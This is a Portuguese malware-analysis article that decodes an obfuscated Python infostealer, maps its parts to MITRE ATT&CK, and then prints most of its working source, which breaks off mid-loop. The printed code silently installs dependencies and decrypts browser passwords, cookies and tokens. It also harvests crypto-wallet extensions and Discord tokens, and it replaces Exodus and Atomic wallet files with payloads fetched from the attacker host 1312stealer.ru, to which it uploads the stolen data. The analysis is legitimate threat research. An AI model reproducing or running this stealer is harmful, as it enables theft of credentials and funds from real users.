OMk0td8Q8kdSZlcopX4O4J4BsFbP9iSBo_3eQMVT26OIfEorgzhkJVueVZtlq-Mfcg6KbSftcv9eMZxtIwdr3f4U-qmE1WfD3mEtSyWYRPTscHO2NELQ2_q9zcF5MM5N7nM9Bs6-Gits4f8225zFQkkI2Gn7MqQqYIX2D2QcxSRBL7nWpcfp8qmL42we6wz0xCQhdt5OldCUBYXzanaTZrR7DCfHQLrPO7njGgHJ6a04b7zkYRTP4UefcCGnZcv59fuf-qA2pKFtlaK5T6AF7hjljxSOlcEEH3PUgBcDLN_pfkduGlBgrOAJJho31jtN1Jk_BlfymT5gZw671TFr4BavD72BI51f1X28DlPNcbivnw-JkTvHKA8GbB-oITVQZDKQsKLWydh2IAqDEXro02vsx8I3BEaCx6F_b6ZZyurmf_97yp_hMpjRQ7ds1WYiplsd8wYOjOZD1Nx_qhi4P45jLdYtcQ9BbwtJF4-5zE0jysMiRzv8wDOR-8Iee-UwHHJxsTlSVMYMUwy4gW6hxBj8umCievDOQafYkyqCb8X-OTg46YamzzbsaClH7SRx5mU7yMf4_WWlRS1fp_Kh62BZ8HJdMarPLQ8G5NQIBmb6P_0a_gO7qtJYzBlnkrYJ3Tb_4ypGJ3KzsMTLXhEZhEEA2MsmgwemCVjyJKu2mF02euy2PIdOlVgnYQfrVv5joyTgAPzFqnIpG1vRKd6aNUkQtx94hC4mxGt-VPsGQXr0KVGiWuhBDqY1Us_l05-ux65sqCdFasTYv2Rql_vLLibNOyjGw8U8b6CwAbWgDwKzypSeYR8b34EmkRnaqQudeDqxTiQDSo41hCdb_0GZds321HoK7xK9gxTHk7h7vx0AaZRoLbXR1LvNVf_TixfRM3-OBbOSWgTSCNEd9wYlUdN-XOfx9l4UwcEQ3JQVipq56wuKwuYMehYYLpDPGL4WdkGnjkDQk2YzPFCmQKQrsua0seynQUYZxQMCtXzaECgoThbskzpksJwwz23d84r1rr8QzSVSJGCsJ0ybcLrXBcmhHEEvWzRe-Cs6oVWsRkP_7NwXPpcmeqmP7iclAH1NHcFc3dSiiJmkmaFo4r_HeMjhwD_XnzHauIYGYc49ZFzu3oM_KjdpK0_Ls7C1eSb2KcPCnkS0k90kpYjjfyxzkL_ULp9B9fO_G3ct4zp5dEdEbTtkTznJANujXoqhIsecIlYIdX4K-gP5mXPyiDJ9G7aaRBcAVKCgCLG-rxWtax1QoyJ6_FVm4dON-UI0QP-SXWSDFzuL6hk7wvpmwiBX5bS9fYpoHTo55Iw1pvDAEuMOhia5LGECbN-7V5iTZRC6Xahs10o7hzh8ForYWSNVlddnXpdCkPBjtLreEwbyLYxOQRZ20Oo2lguzKSASyVtLoV2oa2dcLujAyN1DlIhjy4YAK-eAcBv980fA_MYU59BDSbDgJMJuznIuEHRS73D9IAKVrEHPHfd3wU27aQtjuqGcGgVIjKEwXrlNR4YfrnsoK_jJOEi00QLDuUlfvjsrnFLXA7_U-eOgEgujA63geTfaEHeJAFBNXNeJX7YHhuS2i8wZY85fzd-3WyB1oJZms_kPpU6fmBilA68AwBASZU-aZuzvmH7Bc12BEQeq48lsdX5YhD-krbwFHeXUmSeqEv8HeYE2Sij5d6cfHpGaXhZQNLXJ3FgpWLUTpLkpecyr-BIywL3XKjX1mtCI846OBeghOr1P68u_1yXuQ8MEQBgiV_N_FlUG2TYS0VkdT51cZhSjdbap40uXPH-ZBXHyVO0p2sGqC-umHqTSf367JsRF0OUEsMwkH02cmUrAOBj4px6g_p99-e93GqlWnQE7kbHEhivoy9wDtr2De7Fb8HSAJ-FIjGz3UquGby3NJvx0DyWTyMutEXWSFDxE5LxOi-6h46sg8Tz_S53ruABGUM2OZA30Yt5CjRrkbjqFbHkq0OFtXK6bi5m8A3gq68YswGShutGtBuK7fIYzy1zWlx9sHgwWkoioIAnFVXqkbXVjnnKQq_-Xu3Uc1NXeQ1wjbo79ADIpfEsKgE-afiRwX1C0moOyzi9FtOTfwv_U2dMYdbeRpKOdCpSN900mC03dx9bLfvDkz6NJ2dqsDl81dhsGa9lSgSkRNHSobxUcRX-_hF8i3_jYapkDExW8avAKt8ddTYfREepWvA2rgpiB1UYr_yQ-i9me9qIFspDjLVUoqn2GyYrCgZeI-Osw80XSvIMV06pjvQSMMuKwL4RGmso6aEZzfQ4EJOFDkgAKmbHLfpcya3biiSwbEvj4h5fjgX3zzgeSyBFblxuptL_gPhl4Ft92ZcIxRY-nxPeDNDVCyUw1KheCoRalZfVAXGcYRklRBm5gHVIG5ELIWlzdy3_bhjp_r0y7y-n-gSKdCn78KaOwPgzYyyvonyErFiYIy3q8OHxq9m1lUnLN-xhzJOU8dO4rCpEg-yJ7A0fqYPaUSP5JzQGEFu2Uzdwgp6xeSm2sdHUmG2XOc0NqfjhSMY4IF-mXjfbtkYdrTVpGAGLnUZyxwRrRmilKB_ETxlZYI6hrFN-xo6Rh9I9vDTXNhUTwxR_os1obOuNhuZQYoqaRVdgdQJecwFsjw6z-_NGQh6WZdZ0ZUtUEvy3x0P8EggIdxdh6vNhLIupWVLtx07AH46AWn64u_2Xwmo0zsNH57whtWgc_J03Y-1Yq8YBW-iLjCX1mt728fxIPC9te49_H0xrstGdXKfTt0B8nK-su-jLSOEubGnTWlSlWkWeUfKCeVIjmriIIlJy0LRIagf-_ANCNXFjTfzCxtSphbyw0Q0Ld72AtFhmLOHUnNvuHcCZS_jIywDuo5OPNopZEGHIuCUc7WcRHxe-uMCxuT9zBuOkaQ84sudQUUk4KRf7EmEwnZrrl8VHLQF3wHjIncgAwx8tKQ7hrlfELUEySb9TMH-fIq4Skq5GJ5Y-Di5hHSpOW44rRn2BBiDyh90BcRPKBeYxwhTQsw7GuH_rksRG6j4mh9eWyWfzqbqYb7nsMxLuLO0nLGHJLKZAAJT13GWi_8SUa_rU-Dj0jX20M-i72L3Vu5aAsm6ct6JReRaGlIYMpi-5YJr0QFgoBeUdEJyOYPximQYtN-GAVmCGlZW1Jf7UDSwOyWDs8bMJUVEvveuBSLi3kYEB_tRY1aVE5gi_xvtXU5mSsqz3MRCxr8KcQuHEPugbxlVrbt5OqNkToc2JINqUCNzcqj-aYWcWgKx2ciTPE0FEKCkvCSjQrjG71T0xYLo9t5F4p_IR4TQHMbMXTjJjz-AQYuBgEOe7XzlX2W_GPordC9QCD8pOpLK47xQwQsZLxuJXKf5up_nQjWSUL3Xf4aZMI4fz0WzAmw0q_7GBZRnqoNlVORnP4ggZydDZKAg==').decode()
print(codigo)
O código do malware descriptografado está mais abaixo no artigo, por ele ser um pouco extenço, vamos fazer uma análise antes. Após descriptografar, vamos dissecar seus componentes para entender como ele opera e quais ações maliciosas executa no computador da vítima. Também faremos uma associação com o MITRE ATT&CK para contextualizar melhor as técnicas utilizadas.
Visão Geral do Malware
Este malware é projetado para roubar informações sensíveis do computador da vítima, incluindo senhas, cookies, dados de carteiras de criptomoedas, tokens do Discord e sessões do Telegram. Ele tem como alvo navegadores web, extensões específicas, aplicativos de carteiras de criptomoedas e aplicativos de mensagens, exfiltrando dados para um servidor remoto controlado pelo atacante.
1. Módulos e Instalações Necessárias
A primeira seção do código importa e instala módulos críticos para o funcionamento do malware, incluindo requests
para realizar requisições web, win32crypt
para manipulação de dados criptografados no Windows, e Crypto
para cifragem.
O malware utiliza subprocess
para instalar automaticamente dependências, o que facilita a execução em máquinas sem os pacotes necessários previamente instalados. Este comportamento está relacionado ao MITRE ATT&CK - T1059: Command and Scripting Interpreter:
proc = subprocess.Popen([CURRENT_INTERPRETER, "-m", "pip", "install", "pycryptodome", "pypiwin32", "pywin32", "requests"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW)
2. Configuração e Persistência
Para garantir persistência, o malware cria uma pasta gruppe_storage
no diretório APPDATA
para armazenar arquivos exfiltrados e modifica o diretório de inicialização do Windows. Isso está alinhado com MITRE ATT&CK - T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder.
STORAGE_PATH = APPDATA + "\gruppe_storage"
STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
3. Navegadores Alvo e Extração de Dados
3.1 Identificação de Navegadores e Perfis
O malware define uma lista de navegadores e seus perfis, buscando informações sensíveis armazenadas nos diretórios correspondentes. Cada perfil representa uma área onde dados de login e cookies podem estar armazenados. Este comportamento pode ser mapeado para T1083: File and Directory Discovery.
CHROMIUM_BROWSERS = [
{"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe"},
...
]
3.2 Extração e Decriptação de Dados
Após identificar os navegadores, o malware copia bancos de dados contendo logins (Login Data
) e cookies (Cookies
), utilizando AES
para descriptografar credenciais. Isso se relaciona com T1555.003: Credentials from Web Browsers.
def decrypt_data(data, key):
iv = data[3:15]
data = data[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(data)[:-16].decode()
4. Exfiltração de Dados: Servidor Remoto e Manipulação de Arquivos
4.1 Envio de Dados para o Servidor
O malware utiliza requisições POST
para exfiltrar dados coletados para o servidor https://1312stealer.ru
. Cada conjunto de dados, incluindo senhas e cookies, é enviado para um endpoint específico, como ilustrado abaixo:
password_headers = {"userid": userid, "Content-Type": "application/json"}
password_json_data = json.dumps(PASSWORDS)
requests.post("https://1312stealer.ru/pw", data=password_json_data, headers=password_headers)
Essa técnica é mapeada para T1041: Exfiltration Over C2 Channel.
4.2 Roubo de Dados do Discord e Telegram
O malware busca tokens de autenticação de aplicativos como Discord e Telegram, copiando arquivos de diretórios específicos. Tokens de Discord são validados via API:
def validate_discord_token(token):
r = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": token})
if r.status_code == 200:
return r.json()
else:
return None
Este comportamento se alinha ao T1071.001: Application Layer Protocol: Web Protocols.
5. Injeção de Código e Manipulação de Carteiras Criptográficas
As funções inject
e inject_atomic
sobrepõem arquivos em carteiras de criptomoedas, como Exodus e Atomic Wallet, forçando o fechamento do aplicativo antes de manipular arquivos críticos. Este comportamento está associado ao T1556: Modify Authentication Process.
def inject():
exodusPatchURL = "https://1312stealer.ru/wallet"
response = urlopen(req)
data = response.read()
with open(fullpath, 'wb') as out_file1:
out_file1.write(data)
6. Código do Malware
import base64
import json
import os
import re
import shutil
import sqlite3
import subprocess
import sys
import zipfile
from urllib.request import Request, urlopen
from zipfile import ZipFile
userid = "14"
CURRENT_INTERPRETER = sys.executable
proc = subprocess.Popen(
[CURRENT_INTERPRETER, "-m", "pip", "install", "pycryptodome", "pypiwin32", "pywin32", "requests"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW)
proc.wait()
try:
import win32crypt
from Crypto.Cipher import AES
import requests
except:
current_file = os.path.abspath(__file__)
subprocess.Popen([CURRENT_INTERPRETER, current_file], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
creationflags=subprocess.CREATE_NO_WINDOW)
exit()
USER_PROFILE = os.getenv('USERPROFILE')
APPDATA = os.getenv('APPDATA')
LOCALAPPDATA = os.getenv('LOCALAPPDATA')
STORAGE_PATH = APPDATA + "\\gruppe_storage"
STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
if not os.path.exists(STORAGE_PATH):
os.makedirs(STORAGE_PATH)
CHROMIUM_BROWSERS = [
{"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"),
"taskname": "chrome.exe"},
{"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"),
"taskname": "msedge.exe"},
{"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe"},
{"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe"},
{"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"),
"taskname": "brave.exe"},
{"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe"},
]
CHROMIUM_SUBPATHS = [
{"name": "None", "path": ""},
{"name": "Default", "path": "Default"},
{"name": "Profile 1", "path": "Profile 1"},
{"name": "Profile 2", "path": "Profile 2"},
{"name": "Profile 3", "path": "Profile 3"},
{"name": "Profile 4", "path": "Profile 4"},
{"name": "Profile 5", "path": "Profile 5"},
]
BROWSER_EXTENSIONS = [
{"name": "Authenticator", "path": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai"},
{"name": "Binance", "path": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp"},
{"name": "Bitapp", "path": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},
{"name": "BoltX", "path": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca"},
{"name": "Coin98", "path": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg"},
{"name": "Coinbase", "path": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad"},
{"name": "Core", "path": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb"},
{"name": "Crocobit", "path": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke"},
{"name": "Equal", "path": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac"},
{"name": "Ever", "path": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk"},
{"name": "ExodusWeb3", "path": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno"},
{"name": "Fewcha", "path": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj"},
{"name": "Finnie", "path": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},
{"name": "Guarda", "path": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},
{"name": "Guild", "path": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj"},
{"name": "HarmonyOutdated", "path": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib"},
{"name": "Iconex", "path": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel"},
{"name": "Jaxx Liberty", "path": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne"},
{"name": "Kaikas", "path": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi"},
{"name": "KardiaChain", "path": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},
{"name": "Keplr", "path": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap"},
{"name": "Liquality", "path": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn"},
{"name": "MEWCX", "path": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},
{"name": "MaiarDEFI", "path": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm"},
{"name": "Martian", "path": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk"},
{"name": "Math", "path": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},
{"name": "Metamask", "path": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn"},
{"name": "Metamask2", "path": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm"},
{"name": "Mobox", "path": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo"},
{"name": "Nami", "path": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo"},
{"name": "Nifty", "path": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid"},
{"name": "Oxygen", "path": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh"},
{"name": "PaliWallet", "path": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn"},
{"name": "Petra", "path": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci"},
{"name": "Phantom", "path": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},
{"name": "Pontem", "path": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba"},
{"name": "Ronin", "path": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec"},
{"name": "Safepal", "path": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa"},
{"name": "Saturn", "path": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig"},
{"name": "Slope", "path": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo"},
{"name": "Solfare", "path": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic"},
{"name": "Sollet", "path": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno"},
{"name": "Starcoin", "path": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk"},
{"name": "Swash", "path": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog"},
{"name": "TempleTezos", "path": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},
{"name": "TerraStation", "path": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp"},
{"name": "Tokenpocket", "path": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii"},
{"name": "Ton", "path": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd"},
{"name": "Tron", "path": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},
{"name": "Trust Wallet", "path": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph"},
{"name": "Wombat", "path": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih"},
{"name": "XDEFI", "path": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},
{"name": "XMR.PT", "path": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm"},
{"name": "XinPay", "path": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo"},
{"name": "Yoroi", "path": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb"},
{"name": "iWallet", "path": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj"}
]
WALLET_PATHS = [
{"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},
{"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},
{"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},
{"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},
{"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},
{"name": "Armory", "path": os.path.join(APPDATA, "Armory")},
{"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},
{"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},
{"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},
{"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},
{"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},
]
PATHS_TO_SEARCH = [
USER_PROFILE + "\\Desktop",
USER_PROFILE + "\\Documents",
USER_PROFILE + "\\Downloads",
USER_PROFILE + "\\OneDrive\\Documents",
USER_PROFILE + "\\OneDrive\\Desktop",
]
FILE_KEYWORDS = [
"passw",
"mdp",
"motdepasse",
"mot_de_passe",
"login",
"secret",
"account",
"acount",
"paypal",
"banque",
"metamask",
"wallet",
"crypto",
"exodus",
"discord",
"2fa",
"code",
"memo",
"compte",
"token",
"backup",
"seecret"
]
ALLOWED_EXTENSIONS = [
".txt",
".log",
".doc",
".docx",
".xls",
".xlsx",
".ppt",
".pptx",
".odt",
".pdf",
".rtf",
".json",
".csv",
".db",
".jpg",
".jpeg",
".png",
".gif",
".webp",
".mp4"
]
DISCORD_PATHS = [
{"name": "Discord", "path": os.path.join(APPDATA, "discord", "Local Storage", "leveldb")},
{"name": "Discord Canary", "path": os.path.join(APPDATA, "discordcanary", "Local Storage", "leveldb")},
{"name": "Discord PTB", "path": os.path.join(APPDATA, "discordptb", "Local Storage", "leveldb")},
{"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable", "Local Storage", "leveldb")},
{"name": "Opera GX",
"path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable", "Local Storage", "leveldb")},
{"name": "Amigo", "path": os.path.join(LOCALAPPDATA, "Amigo", "User Data", "Local Storage", "leveldb")},
{"name": "Torch", "path": os.path.join(LOCALAPPDATA, "Torch", "User Data", "Local Storage", "leveldb")},
{"name": "Kometa", "path": os.path.join(LOCALAPPDATA, "Kometa", "User Data", "Local Storage", "leveldb")},
{"name": "Orbitum", "path": os.path.join(LOCALAPPDATA, "Orbitum", "User Data", "Local Storage", "leveldb")},
{"name": "CentBrowser", "path": os.path.join(LOCALAPPDATA, "CentBrowser", "User Data", "Local Storage", "leveldb")},
{"name": "7Star", "path": os.path.join(LOCALAPPDATA, "7Star", "7Star", "User Data", "Local Storage", "leveldb")},
{"name": "Sputnik",
"path": os.path.join(LOCALAPPDATA, "Sputnik", "Sputnik", "User Data", "Local Storage", "leveldb")},
{"name": "Vivaldi",
"path": os.path.join(LOCALAPPDATA, "Vivaldi", "User Data", "Default", "Local Storage", "leveldb")},
{"name": "Chrome SxS",
"path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data", "Local Storage", "leveldb")},
{"name": "Chrome",
"path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Default", "Local Storage", "leveldb")},
{"name": "Chrome1",
"path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 1", "Local Storage", "leveldb")},
{"name": "Chrome2",
"path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 2", "Local Storage", "leveldb")},
{"name": "Chrome3",
"path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 3", "Local Storage", "leveldb")},
{"name": "Chrome4",
"path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 4", "Local Storage", "leveldb")},
{"name": "Chrome5",
"path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 5", "Local Storage", "leveldb")},
{"name": "Epic Privacy Browser",
"path": os.path.join(LOCALAPPDATA, "Epic Privacy Browser", "User Data", "Local Storage", "leveldb")},
{"name": "Microsoft Edge",
"path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data", "Default", "Local Storage", "leveldb")},
{"name": "Uran",
"path": os.path.join(LOCALAPPDATA, "uCozMedia", "Uran", "User Data", "Default", "Local Storage", "leveldb")},
{"name": "Yandex",
"path": os.path.join(LOCALAPPDATA, "Yandex", "YandexBrowser", "User Data", "Default", "Local Storage", "leveldb")},
{"name": "Brave",
"path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Storage",
"leveldb")},
{"name": "Iridium",
"path": os.path.join(LOCALAPPDATA, "Iridium", "User Data", "Default", "Local Storage", "leveldb")}
]
DISCORD_TOKENS = []
PASSWORDS = []
COOKIES = []
WEB_DATA = []
DISCORD_IDS = []
def decrypt_data(data, key):
try:
iv = data[3:15]
data = data[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(data)[:-16].decode()
except:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
def zip_to_storage(name, source, destination):
if os.path.isfile(source):
with zipfile.ZipFile(destination + f"\\{name}.zip", "w") as z:
z.write(source, os.path.basename(source))
else:
with zipfile.ZipFile(destination + f"\\{name}.zip", "w") as z:
for root, dirs, files in os.walk(source):
for file in files:
z.write(os.path.join(root, file),
os.path.relpath(os.path.join(root, file), os.path.join(source, '..')))
def upload_to_server(filepath):
for i in range(10):
try:
url = "https://1312stealer.ru/delivery"
files = {'file': open(filepath, 'rb')}
headers = {'userid': userid}
r = requests.post(url, files=files, headers=headers)
if r.status_code == 200:
break
except:
pass
def validate_discord_token(token):
r = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": token})
if r.status_code == 200:
return r.json()
else:
return None
def taskkill(taskname):
subprocess.run(["taskkill", "/F", "/IM", taskname], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def inject():
procc = "exodus.exe"
local = os.getenv("localappdata")
path = f"{local}/exodus"
if not os.path.exists(path): return
listOfFile = os.listdir(path)
apps = []
for file in listOfFile:
if "app-" in file:
apps += [file]
exodusPatchURL = "https://1312stealer.ru/wallet"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
req = Request(exodusPatchURL, headers=headers)
response = urlopen(req)
data = response.read()
subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
for app in apps:
try:
fullpath = f"{path}/{app}/resources/app.asar"
with open(fullpath, 'wb') as out_file1:
out_file1.write(data)
licensepath = f"{path}/{app}/LICENSE"
with open(licensepath, "w") as out_file2:
out_file2.write(userid)
except:
pass
for i in range(10):
try:
inject()
break
except:
pass
def inject_atomic():
procc = "Atomic Wallet.exe"
local = os.getenv("localappdata")
path = f"{local}/Programs/atomic"
if not os.path.exists(path): return
atomicPatchURL = "https://1312stealer.ru/wallet/atomic"
headers = {"User-Agent": "Mozilla/5.0"}
req = Request(atomicPatchURL, headers=headers)
response = urlopen(req)
data = response.read()
subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
try:
fullpath = f"{path}/resources/app.asar"
with open(fullpath, 'wb') as out_file1:
out_file1.write(data)
licensepath = f"{path}/LICENSE.electron.txt"
with open(licensepath, "w") as out_file2:
out_file2.write(userid)
except:
pass
for i in range(10):
try:
inject_atomic()
break
except:
pass
for browser in CHROMIUM_BROWSERS:
taskkill(browser["taskname"])
local_state = os.path.join(browser["path"], "Local State")
if not os.path.exists(local_state): continue
with open(local_state, "r", encoding="utf-8") as f:
local_state = json.loads(f.read())
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
for subpath in CHROMIUM_SUBPATHS:
if not os.path.exists(os.path.join(browser["path"], subpath["path"])): continue
try:
login_data_file = os.path.join(browser["path"], subpath["path"], "Login Data")
temp_db = os.path.join(browser["path"], subpath["path"], f"{browser['name']}-pw.db")
shutil.copy(login_data_file, temp_db)
connection = sqlite3.connect(temp_db)
cursor = connection.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
origin_url = row[0]
username = row[1]
password = decrypt_data(row[2], decryption_key)
if username or password:
PASSWORDS.append({"browser": browser["name"], "profile": subpath["name"], "url": origin_url,
"username": username, "password": password})
cursor.close()
connection.close()
os.remove(temp_db)
except:
pass
try:
cookies_file = os.path.join(browser["path"], subpath["path"], "Network", "Cookies")
temp_db = os.path.join(browser["path"], subpath["path"], "Network", f"{browser['name']}-ck.db")
shutil.copy(cookies_file, temp_db)
connection = sqlite3.connect(temp_db)
cursor = connection.cursor()
cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
cookie_str = ""
for row in cursor.fetchall():
host = row[0]
name = row[1]
value = decrypt_data(row[2], decryption_key)
cookie_str += f"{host}\tTRUE\t/\tFALSE\t13355861278849698\t{name}\t{value}\n"
COOKIES.append({"browser": browser["name"], "profile": subpath["name"],
"cookies": base64.b64encode(cookie_str.encode()).decode()})
cursor.close()
connection.close()
os.remove(temp_db)
except:
pass
try:
web_data_file = os.path.join(browser["path"], subpath["path"], "Web Data")
temp_db = os.path.join(browser["path"], subpath["path"], f"{browser['name']}-webdata.db")
shutil.copy(web_data_file, temp_db)
connection = sqlite3.connect(temp_db)
cursor = connection.cursor()
cursor.execute("SELECT service, encrypted_token FROM token_service")
for row in cursor.fetchall():
web_service = row[0]
web_token = decrypt_data(row[1], decryption_key)
WEB_DATA.append({"browser": browser["name"], "profile": subpath["name"], "service": web_service,
"token": web_token})
cursor.close()
connection.close()
os.remove(temp_db)
except:
pass
for extension in BROWSER_EXTENSIONS:
extension_path = os.path.join(browser["path"], subpath["path"]) + extension["path"]
if os.path.exists(extension_path):
try:
zip_to_storage(f"{browser['name']}-{subpath['name']}-{extension['name']}", extension_path,
STORAGE_PATH)
except:
pass
firefox_path = os.path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles')
if os.path.exists(firefox_path):
taskkill("firefox.exe")
for profile in os.listdir(firefox_path):
try:
if profile.endswith('.default') or profile.endswith('.default-release'):
profile_path = os.path.join(firefox_path, profile)
if os.path.exists(os.path.join(profile_path, "cookies.sqlite")):
shutil.copy(os.path.join(profile_path, "cookies.sqlite"),
os.path.join(profile_path, "cookies-copy.sqlite"))
connection = sqlite3.connect(os.path.join(profile_path, "cookies-copy.sqlite"))
cursor = connection.cursor()
cursor.execute("SELECT host, name, value FROM moz_cookies")
cookie_str = ""
for row in cursor.fetchall():
host, name, value = row
cookie_str += f"{host}\tTRUE\t/\tFALSE\t13355861278849698\t{name}\t{value}\n"
COOKIES.append({"browser": "Firefox", "profile": profile,
"cookies": base64.b64encode(cookie_str.encode()).decode()})
cursor.close()
connection.close()
os.remove(os.path.join(profile_path, "cookies-copy.sqlite"))
except:
continue
for wallet_file in WALLET_PATHS:
if os.path.exists(wallet_file["path"]):
try:
